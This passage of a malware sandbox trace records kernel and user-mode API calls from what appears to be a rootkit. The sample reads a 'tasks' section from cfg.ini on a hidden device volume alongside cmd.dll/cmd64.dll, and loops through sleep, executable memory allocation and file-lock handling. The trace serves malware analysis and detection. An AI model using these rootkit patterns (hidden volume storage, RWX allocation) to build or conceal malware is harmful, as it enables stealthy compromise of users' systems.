(_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.971] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.971] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.971] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003713810 [0125.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.971] KeLeaveCriticalRegion () [0125.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.971] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.971] KeEnterCriticalRegion () [0125.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.971] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.971] KeLeaveCriticalRegion () [0125.971] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.971] KeEnterCriticalRegion () [0125.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.971] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.971] IdePortDispatch () returned 0x103 [0125.971] KeWaitForMutexObject () returned 0x0 [0125.971] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.971] KeLeaveCriticalRegion () [0125.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.972] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.972] KeEnterCriticalRegion () [0125.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.972] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7d000 [0125.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.972] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.972] IdePortDispatch () returned 0x103 [0125.972] KeWaitForMutexObject () returned 0x0 [0125.972] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.972] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.972] IdePortDispatch () returned 0x103 [0125.972] KeWaitForMutexObject () returned 0x0 [0125.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.972] KeLeaveCriticalRegion () [0125.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.973] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.973] KeEnterCriticalRegion () [0125.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.973] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.973] KeLeaveCriticalRegion () [0125.973] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.973] KeEnterCriticalRegion () [0125.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.973] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.973] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.973] KeLeaveCriticalRegion () [0125.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.973] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.973] KeEnterCriticalRegion () [0125.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.973] ExFreePoolWithTag (P=0xfffffa8003713810, Tag=0x0) [0125.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.973] KeLeaveCriticalRegion () [0125.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.973] ReleaseMutex (hMutex=0xf0) returned 1 [0125.973] Sleep (dwMilliseconds=0x927c0) [0125.987] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.987] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.987] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.987] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.987] KeEnterCriticalRegion () [0125.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.987] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.987] IdePortDispatch () returned 0x103 [0125.987] KeWaitForMutexObject () returned 0x0 [0125.987] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.987] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.987] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.987] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.987] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.987] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003abc180 [0125.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.987] KeLeaveCriticalRegion () [0125.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.987] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.988] KeEnterCriticalRegion () [0125.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.988] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.988] KeLeaveCriticalRegion () [0125.988] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.988] KeEnterCriticalRegion () [0125.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.988] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.988] IdePortDispatch () returned 0x103 [0125.988] KeWaitForMutexObject () returned 0x0 [0125.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.988] KeLeaveCriticalRegion () [0125.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.988] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.988] KeEnterCriticalRegion () [0125.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.988] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d82000 [0125.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.988] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.988] IdePortDispatch () returned 0x103 [0125.988] KeWaitForMutexObject () returned 0x0 [0125.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.989] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.989] IdePortDispatch () returned 0x103 [0125.989] KeWaitForMutexObject () returned 0x0 [0125.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.989] KeLeaveCriticalRegion () [0125.989] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.989] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.989] KeEnterCriticalRegion () [0125.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.989] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.989] KeLeaveCriticalRegion () [0125.989] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.989] KeEnterCriticalRegion () [0125.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.990] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.990] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.990] KeLeaveCriticalRegion () [0125.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.990] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.990] KeEnterCriticalRegion () [0125.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.990] ExFreePoolWithTag (P=0xfffffa8003abc180, Tag=0x0) [0125.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.990] KeLeaveCriticalRegion () [0125.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.990] ReleaseMutex (hMutex=0xf0) returned 1 [0125.990] Sleep (dwMilliseconds=0x927c0) [0126.004] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.004] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.004] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.004] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.004] KeEnterCriticalRegion () [0126.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.004] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.004] IdePortDispatch () returned 0x103 [0126.004] KeWaitForMutexObject () returned 0x0 [0126.005] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.005] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.005] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.005] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.005] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.005] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037deee0 [0126.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.005] KeLeaveCriticalRegion () [0126.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.005] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.005] KeEnterCriticalRegion () [0126.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.005] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.005] KeLeaveCriticalRegion () [0126.005] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.005] KeEnterCriticalRegion () [0126.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.005] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.005] IdePortDispatch () returned 0x103 [0126.005] KeWaitForMutexObject () returned 0x0 [0126.005] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.005] KeLeaveCriticalRegion () [0126.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.005] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.005] KeEnterCriticalRegion () [0126.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.005] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d87000 [0126.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.005] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.005] IdePortDispatch () returned 0x103 [0126.006] KeWaitForMutexObject () returned 0x0 [0126.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.006] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.006] IdePortDispatch () returned 0x103 [0126.006] KeWaitForMutexObject () returned 0x0 [0126.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.006] KeLeaveCriticalRegion () [0126.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.007] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.007] KeEnterCriticalRegion () [0126.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.007] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.007] KeLeaveCriticalRegion () [0126.007] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.007] KeEnterCriticalRegion () [0126.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.007] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.007] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac65e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.007] KeLeaveCriticalRegion () [0126.007] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.007] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.007] KeEnterCriticalRegion () [0126.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.007] ExFreePoolWithTag (P=0xfffffa80037deee0, Tag=0x0) [0126.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.007] KeLeaveCriticalRegion () [0126.007] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.007] ReleaseMutex (hMutex=0xf0) returned 1 [0126.007] Sleep (dwMilliseconds=0x927c0) [0126.015] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.015] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.024] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.024] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.024] KeEnterCriticalRegion () [0126.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.024] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.024] IdePortDispatch () returned 0x103 [0126.024] KeWaitForMutexObject () returned 0x0 [0126.024] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.024] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.024] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.024] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.024] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.024] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800cecb230 [0126.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.024] KeLeaveCriticalRegion () [0126.024] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.024] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.025] KeEnterCriticalRegion () [0126.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.025] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.025] KeLeaveCriticalRegion () [0126.025] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.025] KeEnterCriticalRegion () [0126.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.025] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.025] IdePortDispatch () returned 0x103 [0126.025] KeWaitForMutexObject () returned 0x0 [0126.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 